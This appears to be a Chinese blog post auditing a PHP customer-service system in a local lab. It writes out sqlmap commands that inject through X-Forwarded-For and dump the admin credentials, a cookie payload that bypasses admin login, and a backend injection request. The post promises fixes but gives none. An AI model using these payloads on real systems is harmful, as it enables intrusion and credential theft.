Web安全代码审计——某客服系统代码审计及漏洞复现(sqlmap如何测试XFF)
本文以某客服系统源码为分析案例,通过代码审计方式分析其中存在的安全风险,包括SQL注入、身份认证逻辑缺陷等问题,并结合安全修复方案,帮助读者理解Web应用安全审计流程。文章将结合代码逻辑、漏洞触发过程以及修复建议,帮助读者了解PHP应用安全审计流程,提高漏洞分析与风险定位能力。
某客服系统漏洞挖掘思路
在进行客服系统漏洞挖掘时,可以先通过自动化工具进行初步检测,例如 xray、Goby、Burp Suite 插件等,对目标系统进行常见漏洞扫描,提高漏洞发现效率。
但自动化扫描工具存在一定局限性,例如扫描特征明显、请求频率较高、容易被安全设备识别或触发访问限制。因此,在实际安全测试过程中,需要结合人工分析,通过工具辅助与人工判断相结合的方式,提高漏洞发现的准确性。
针对目标客服系统,可以优先进行系统指纹识别,判断其属于公开 CMS、商业 CMS 还是自主开发系统。
- 常见识别方式包括分析页面关键词、目录结构、HTTP 响应信息、静态资源文件以及
favicon.ico 图标等特征。
- 如果确认目标系统属于公开 CMS,可以结合公开漏洞信息进行安全验证;
- 如果属于商业 CMS,则可以根据系统特征,通过空间搜索引擎、资产测绘平台等方式进行关联分析,结合公开资料分析系统架构特点,为后续安全研究提供参考。
在条件允许的情况下,可以进一步获取目标系统源码,并通过代码审计的方式进行深度分析。常见源码来源包括网站备份文件、历史版本文件以及公开泄露资源,例如:
1 2 3 4 5 6 7
| 常见源码来源包括:
- 官方公开源码 - 授权测试环境源码 - 企业内部安全测试环境
通过源码审计分析系统安全问题。
|
等备份文件。获取源码后,可以重点关注用户认证、文件上传、权限控制、数据库交互、敏感信息处理等核心功能模块,通过源码层面的逻辑分析,发现自动化扫描工具难以识别的安全问题。
免责声明
本文内容仅用于网络安全学习、技术研究以及经过授权的安全测试场景。未经授权对任何系统进行漏洞扫描、漏洞利用或数据获取均可能违反相关法律法规。请仅在合法授权的环境(如个人靶场、企业授权测试、CTF 环境等)中进行相关操作,共同维护网络安全环境。
本地网站搭建
首先我们在PHPStudy上本地搭建一个“网站”,用于漏洞的复现:

随后我们创建一下测试数据库(PHP版本版本可以选低一点):
- 数据名称:www_xianyukefu_com
- 用户名:www_xianyukefu_com
- 密码:
123456
使用测试环境数据库账号进行连接:

随后把靶场的源码放进刚刚创建的网站WWW目录下(因为平台可能会审核,所以这里发不出链接,可私信)

随后根据靶场的文档进行修改:
1 2 3 4 5 6 7 8 9
| 安装方法如下: 1.将源码上传至您的空间或服务器根目录中。 2.将数据文件kefu.sql导入到您的数据库中。 3.修改include/dbConfig.php文件中的数据库信息为您自己的。 4.您可在status.php的第38行中修改首次会话公告内容。
安装完成后,管理员可以登录后台,在网址/bd777处访问,使用默认的管理员账户“admin”进行登录。如果需要修改后台路径,您需要先重命名文件夹名“123”,然后修改quit.php文件中第5行中的“123”。
如果需要增加或修改机器人自动回复内容,在post.php的第92行及其之后添加或修改即可。其中,第92行的内容是当没有关键词匹配时,系统会统一自动回复的内容。
|
修改的配置文件如下:
1 2 3 4 5 6 7 8
| <?php con_db_host = "localhost"; con_db_id = "root"; con_db_pass = "123456"; con_db_name = "www_xianyukefu_com"; tablepre = ""; db_charset = "utf8"; ?>
|
数据库搭建
随后导入相应的kefu.sql数据库文件:

导入结果如下图所示:

随后假设该数据库存在一个admin用户:

成功搭建效果展示
至此,靶场90%的工作已经完成,现在我们验证一下;
访问一下靶场地址:http://127.0.0.1:8084/

成功搭建靶场环境,接下来开始我们的代码审计工作;
前端脆弱点挖掘
首先拿到目标的源码,先简单的进行代码审计:

了解一下整个项目的结构,方便我们寻找可能存在的脆弱点;
高危:XXF请求头信任导致SQL注入
在了解项目的过程中,post.php(客服系统用户消息提交与智能回复功能),存在“通过查询 h_kefu_config 表获取客服系统配置,并获取用户 IP 地址以及用户提交的聊天内容”

1 2 3 4 5 6
| <?php require_once './include/conn.php'; $webkefu = $db->get_one("SELECT * FROM `h_kefu_config`"); $h_user = getUserIP(); $h_cont = $_POST['cont'];
|
随后点击getUserIP(),自动跳转到 /include/function_utility.php页面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| function getUserIP(){ global $HTTP_SERVER_VARS; $temp = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]; if (isset($temp) && strcasecmp($temp, "unknown")){ return $temp; } $temp = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];{ return $temp; } $temp = $HTTP_SERVER_VARS["REMOTE_ADDR"];{ return $temp; } $temp = $_SERVER["HTTP_X_FORWARDED_FOR"]; ... $temp = $_SERVER["HTTP_CLIENT_IP"]; ... $temp = $_SERVER["REMOTE_ADDR"]; ... $temp = getenv("HTTP_X_FORWARDED_FOR"); ... $temp = getenv("HTTP_CLIENT_IP"); ... $temp = getenv("REMOTE_ADDR"); return 'Unknown'; }
|
代码作用:
该代码主要实现获取客户端真实 IP 地址的功能。函数 getUserIP() 通过读取多个 HTTP 请求头和服务器环境变量,依次尝试获取用户访问来源 IP。
代码首先检查 HTTP_X_FORWARDED_FOR、HTTP_CLIENT_IP 等代理相关请求头,用于获取经过代理服务器访问时的客户端 IP;如果这些信息不存在,则继续读取 REMOTE_ADDR 获取服务器记录的访问 IP。
漏洞点: 整体来看,该函数主要用于记录用户访问 IP、客服聊天来源 IP 追踪以及日志分析等功能。但由于 HTTP_X_FORWARDED_FOR 和 HTTP_CLIENT_IP 等请求头可以被客户端伪造,如果直接将获取结果用于安全判断(如 IP 白名单、权限控制等),可能存在 IP 欺骗风险。
发现注入点
既然 HTTP_X_FORWARDED_FOR 和 HTTP_CLIENT_IP等请求头可以被客户端伪造,那我们可以分析一下?
随后我们右键查看用法:

成功发现了一条select语句:

1 2
| $rs = $db->get_one("select count(*) as tj from `h_kefu` where h_user = '{$h_user}' and h_who = 2 and h_isread = 0");
|
用BP进行抓包检测一下:http://127.0.0.1:8084/zz.php(发现是可以直接访问该网站,以及输入内容的)

1 2 3 4 5 6
| 此时的系统操作: 用户客户端输入信息 ➟ 系统保存用户IP地址 ➟ 发送到post.php查询相关信息
X_Forward_F:1 X_Forward_F:' # 报错,单引号
|
这里我们也可以验证一下:

但如果我们添加双引号呢?

sqlmap测试
随后我们使用sqlmap跑一下:
1
| python sqlmap.py -r 1.txt --dbms mysql -v 1
|
| 参数 |
含义 |
python sqlmap.py |
使用 Python 运行 sqlmap 主程序 |
-r 1.txt |
从 1.txt 文件中读取完整 HTTP 请求数据进行测试 |
--dbms mysql |
指定目标数据库类型为 MySQL,提高检测准确性 |
-v 1 |
设置输出详细程度(verbosity)为 1,显示基础检测过程 |
如果报错,是因为:“sqlmap没有把 X-Forwarded-For 识别成参数”

更换一下命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| python sqlmap.py -u "http://127.0.0.1:8084/zz.php" --headers="X-Forwarded-For: *" --dbms mysql --level=5 --risk=3
python sqlmap.py -u "http://127.0.0.1:8084/zz.php" --headers="X-Forwarded-For: *" --dbms mysql --level=5 --risk=3 --dbs
python sqlmap.py -u "http://127.0.0.1:8084/zz.php" --headers="X-Forwarded-For: *" --dbms mysql --level=5 --risk=3 -D www_xianyukefu_com -tables
python sqlmap.py -u "http://127.0.0.1:8084/zz.php" --headers="X-Forwarded-For: *" --dbms mysql --level=5 --risk=3 -D www_xianyukefu_com -T h_kefu_config --columns
python sqlmap.py -u "http://127.0.0.1:8084/zz.php" --headers="X-Forwarded-For: *" --dbms mysql --level=5 --risk=3 -D www_xianyukefu_com -T h_kefu_config -C h_admin,h_pass --dump --batch
|
成功测试出:

跑DB:

表名:检测结果显示攻击者可能进一步获取数据库结构信息

列名:

详细字段:

中危:后台越权访问
这里我们对前端页面进行扫描:
1
| python dirsearch.py -u http://127.0.0.1:8084/bd777/
|
得到结果如下:

可以看到一个后台登陆系统:http://127.0.0.1:8084/bd777/index.php

如果我们直接访问http://127.0.0.1:8084/bd777/Admin.php,但发现点击弹窗后进行了跳转:

又直接重定向到了index.php后台登陆页面;
寻找脆弱点
访问后台功能 访问后台会⾃动加载pc.php:

pc.php会加载验证⽂件header.php 从⽽退后台。
header.php 这个是验证⽤户登录的⽂件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $LoginEdUserName = $_COOKIE['h_userName']; $LoginEdPassWord = $_COOKIE['h_passWord'];
$rs88 = $db->get_one("select * from `h_kefu_config` where h_admin = '{$LoginEdUserName}' and h_pass = '{$LoginEdPassWord}' LIMIT 1"); if(!$rs88){
HintAndTurnTopFrame("欢迎登录后台管理系统!","index.php"); exit(); }
$rs99 = $db->get_one("select * from `h_kefu_login` where h_user = '{$LoginEdUserName}' and h_ip = '".getUserIP()."'"); if(!$rs99){
HintAndTurnTopFrame("您未登录成功,请您重新登录!","index.php"); exit(); }
?>
|
作用:该代码主要用于后台管理员登录验证。首先通过读取 Cookie 中的 h_userName 和 h_passWord 获取登录账号和密码,然后查询 h_kefu_config 表,判断管理员账号密码是否匹配;如果验证失败,则跳转回登录页面。
包含这个⽂件还是挺多的:

绕过测试
默认的账号是admin 所以 让select语句条件为真即可。
- header.php代码存在SQL查询语句,所以我们
单引号用户名,即可绕过正常身份校验;
- 所以⽤默认的加密的账号
65567cedbc743bda3417fb813b9ba 就可以直接验证通过(之前XFF注入得到的账号密码,别忘了!!!)
进行字符型注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| GET /bd777/admin.php HTTP/1.1 Host: 127.0.0.1:8084 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://127.0.0.1:8084/bd777/index.php?clause=chklogin Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=jghmrtr a1nuo49etangffbbsi2;h_userName=65567cedbc743bda3417fb813b9ba'%23 Connection: keep-alive
|

执行后的语句相当于:

效果如下:

高危:后台SQL注⼊
后台的注⼊挺多的 data.php user参数进⾏过滤 导致sql注⼊:

抓包,sqlmap:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| GET /bd777/data.php?user=admin HTTP/1.1 Host: 127.0.0.1:8084 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=i15k2lg5g8o12e8kaprmgvft60;h_userName=65567cedbc743bda3417fb813b9ba'%23 Connection: keep-alive
|
执行代码:

回到头来 可以针对⽬标站进⾏漏洞测试。

得到结果都是一样的,这里不再赘述;
总结
随着网络应用系统复杂度不断提升,Web安全漏洞频发,代码审计已成为发现安全风险的重要手段。
本文以谋客服系统为分析对象,通过源码审计与漏洞复现,深入分析系统中存在的安全问题,包括SQL注入、身份认证缺陷等常见漏洞类型。文章将结合代码逻辑、漏洞触发过程以及修复建议,帮助读者了解PHP应用安全审计流程,提高漏洞分析与风险定位能力。